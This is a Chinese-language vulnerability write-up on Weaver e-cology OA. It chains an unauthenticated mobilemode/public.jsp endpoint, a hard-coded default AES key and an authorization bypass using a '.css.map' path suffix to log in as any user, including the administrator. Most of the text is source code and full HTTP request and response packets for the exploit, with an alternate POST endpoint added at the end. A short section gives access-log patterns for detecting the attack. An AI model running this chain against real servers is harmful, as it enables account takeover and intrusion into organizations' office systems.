分析

这个洞有2020/2021年数字那边挖的洞的影子

获取sessionkey

mobilemode/public.jsp

分析

这个洞有2020/2021年数字那边挖的洞的影子

获取sessionkey

mobilemode/public.jsp

该文件无需权限即可访问,阅读代码构造相应参数后即可获取sessionkey

String userid;
String url;
String from = Util.null2String(request.getParameter("from"));
if(from.equals("anonymous")){
MobileModeConfig mConfig = MobileModeConfig.getInstance();
if(!mConfig.isAnonymousAccessEnabled()){
out.println("anonymous access is not enabled");
return;
}
userid = mConfig.getAnonymousMappingUser();
if("".equals(userid)){
out.println("mapping user is empty");
return;
}
url = Util.null2String(request.getParameter("url"));//"/mobilemode/mobile/view.jsp?appid=23";
if("".equals(url)){
out.println("url is empty");
return;
}
url = SecurityUtil.decrypt(url);
if(url.equals("") || !url.startsWith(weaver.general.GCONST.getContextPath() + "/mobilemode/")){
out.println("illegal url:" + url);
return;
}
}else if(from.equals("QRCode")){
url = Util.null2String(request.getParameter("url"));//"/mobilemode/mobile/view.jsp?appid=23";
if("".equals(url)){
out.println("url is empty");
return;
}
url = SecurityUtil.decrypt(url);

代码从数据包中获取了fromurl两个参数,其中url为QRCode时会进入第二分支调用SecurityUtil.decrypt方法解密url参数并对;进行分割,分割后数据的长度应为3否则抛出异常
跟进SecurityUtil.decrypt方法

对传入值进行判断是否为空,非空调用EDUtil.decrypt方法对数据进行处理
跟进decrypt方法

public static String decrypt(String var0) {
MobileModeConfig var1 = MobileModeConfig.getInstance();
EDType var2 = var1.getSecurityEDType();
String var3 = var1.getSecurityKey();
return decrypt(var2, var0, var3);
}
public static String decrypt(EDType var0, String var1, String var2) {
IDecrypt var3 = EDFactory.getDecrypt(var0);
return var3.decrypt(var1, var2);
}

var1为本地mobilemode.properties文件,默认在WEB-INF/prop/mobilemode.properties

var2为获取解密方法,默认为AESvar3key,默认为空(NULL),字节码为[-66, 27, -34, -64, -86, 116, -76, -36, -80, 121, -108, 62, 112, 82, -128, -106],对var2var3赋值后传入EDFactory.getDecrypt方法,最终进入com.weaver.formmodel.mobile.security.decrypt方法使用AES-SHA1PRNG进行数据解密

	String[] arr = url.split(";");
if(arr.length != 3){
out.println("illegal url:" + url);
return;
}
int a1 = Util.getIntValue(arr[0], -1);
int a2 = Util.getIntValue(arr[1], -1);
long a3 = (long)Util.getDoubleValue(arr[2], -1);
if(a1 == -1 || a2 == -1 || a3 == -1){
out.println("illegal url:" + url);
return;
}
userid = String.valueOf(a1);
url = weaver.general.GCONST.getContextPath() + "/mobilemode/appHomepageViewWrap.jsp?appHomepageId=" + a2;
long timeout = 1000 * 60 * 10;
if((a3 + timeout) < System.currentTimeMillis()){
out.println("二维码已过期");
return;
}
}else{
out.println("from is empty or unrecognized");
return;
}

对上一步解密后的数据进行分割处理,a1为userID,此处可设置为1即sysadmina2为appid,为任意非空整形值,a3为毫秒时间戳,用于二维码生成是否失效,但由于代码仅对数值进行判断,可轻松绕过

String ip = MobileCommonUtil.getClientIp(request);
AuthService as = new AuthService();
Map result = as.login(userid, "", ip);
String message = (String)result.get("message");
if(!"1".equals(message)){
out.println("mapping user login failed");
return;
}

String sessionkey = (String)result.get("sessionkey");
url += "&sessionkey="+sessionkey;
request.getRequestDispatcher(url).forward(request, response);

代码使用AuthService类的login方法进行登录验证,流程如下

graph TD
A[mobilemode/public.jsp] -->|"new AuthService().login"| B(AuthService)
B --> C([Func login])
C -->|"putSessionId(var7, var5);"| D[Func putSessionId]
D -->|Result sessionkey| A

利用sessionkey换ecology_JSessionid

泛微OA有多套鉴权方法,分别是sessionkeyecology_JSessionid等,其中sessionkey是部署在filter层,主要用于mobile目录鉴权,ecology_JSessionid是利用session会话机制进行鉴权,在mobile目录下的优先级比sessionkey低,常见鉴权代码如下

weaver.hrm.HrmUserVarify

User var5 = HrmUserVarify.getUser(var1, var2);
boolean var6 = this.checkUserRight(var5);
User user = HrmUserVarify.getUser(request, response);
if(user==null) {
//未登录或登录超时
result.put("error", "005");
JSONObject jo = JSONObject.fromObject(result);
out.println(jo);
return;
}

sessionkey

<jsp:useBean id="ps" class="weaver.mobile.plugin.ecology.service.PluginServiceImpl" scope="page" />
String sessionkey = Util.null2String(request.getParameter("sessionkey"));
......
result = ps.getCurrUser(sessionkey);
......
result = ps.getUser(id, sessionkey);
<jsp:useBean id="as" class="weaver.mobile.plugin.ecology.service.AuthService" scope="page" />
......
user = as.getCurrUser(sessionkey);

设置session常见代码为getSession(true).setAttribute("weaver_user@bean",
那么只需要写个正则即可找到全部可以利用sessionkey获取sessionID的位置了
正则如下AuthService.*(\s.*)*.*setAttribute\("weaver_user@bean

经过分析得知位于包package weaver下的类/方法可经由urlhttp://domain.com/weaver/weaver.xxx.xxx形式访问,那么weaver/file/ImgFileDownload就是一个理想的选择,精简代码如下

public void doGet(HttpServletRequest var1, HttpServletResponse var2) throws ServletException, IOException {
......
User var6 = HrmUserVarify.getUser(var1, var2);
String var8;
String var9;
if (null == var6) {
AuthService var7 = new AuthService();
var8 = "";
var9 = var1.getQueryString();
String[] var10 = StringUtils.split(var9, '&');
if (var10 != null) {
for(int var11 = 0; var11 < var10.length; ++var11) {
String[] var12 = StringUtils.split(var10[var11], '=');
if (var12 != null && var12.length >= 2 && "sessionkey".equals(var12[0])) {
var8 = var12[1];
break;
}
}
}

try {
var6 = var7.getCurrUser(var8);
} catch (Exception var41) {
var41.printStackTrace();
}
......
var1.getSession(true).setAttribute("weaver_user@bean", var6);
}

一个符合格式的get请求就可以获取到一个有效的ecology_JSessionid
然而实际访问时会出现200状态码但是回显无权限报错
http://10.10.10.24/weaver/weaver.file.ImgFileDownload?sessionkey=d42****************62

通过搜索历史漏洞

发现泛微存在一个权限绕过漏洞,URL正好为/weaver/路径下的,那么整理下目前的信息

  1. 有一个文件可以未授权访问
  2. 该文件可以返回可用于mobile目录的sessionkey
  3. 一个可以用sessionkey换取ecology_JSessionid的接口
  4. 一个权限绕过漏洞

那么1+2+3+4的结果为一个前台任意用户登录

理论存在,实践开始

Attack& Detect

Pwn!

首先获取sessionkey

数据包

Request

POST /mobilemode/public.jsp HTTP/1.1
Host: 10.10.10.24
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 80

from=QRCode&url=ABD**********************B7

Response

HTTP/1.1 200 OK
Server: WVS
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1
X-UA-Compatible: IE=8
Content-Type: text/html; charset=UTF-8
Content-Length: 3699
Connection: close
Date: Wed, 08 Jun 2022 05:42:49 GMT

......
var _sessionkey = "d******************2";
......

然后换取ecology_JSessionid

数据包

Request
GET /weaver/weaver.file.ImgFileDownload/.css.map?sessionkey=d42**************562 HTTP/1.1
Host: 10.10.10.24
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

Response
HTTP/1.1 200 OK
Server: WVS
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1
Cache-Control: private,max-age=86400000
Set-Cookie: ecology_JSessionid=aaa4bmgQ9huR2-z1ob-ey; path=/
Content-Length: 0
Connection: close
Date: Wed, 08 Jun 2022 05:42:59 GMT


验证

由于/api/路径下均需权限校验,因此随意一个接口即可校验ecology_JSessionid有效性,如/api/hrm/usericon/getUserIcon

替换session后

Detect

泛微日志默认在X:\path\to\WEAVER\Resin\logs下,access.log中检测项为存在"POST /mobilemode/public.jsp HTTP/1.1" 200

且存在"GET /weaver/weaver.file.ImgFileDownload/.css?sessionkey=d******************62 HTTP/1.1"

即可判定使用了该漏洞

后记

在更进一步的分析中我们使用正则(sessionKey|loginkey).*(\s.*)*.*setAttribute\("weaver_user@bean找到了一处支持POST方法的接口/weaver/weaver.mobile.plugin.ecology.service.PluginViewServlet

POST /weaver/weaver.mobile.plugin.ecology.service.PluginViewServlet/.css HTTP/1.1
Host: 10.10.10.24
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 47

sessionkey=d42**************************2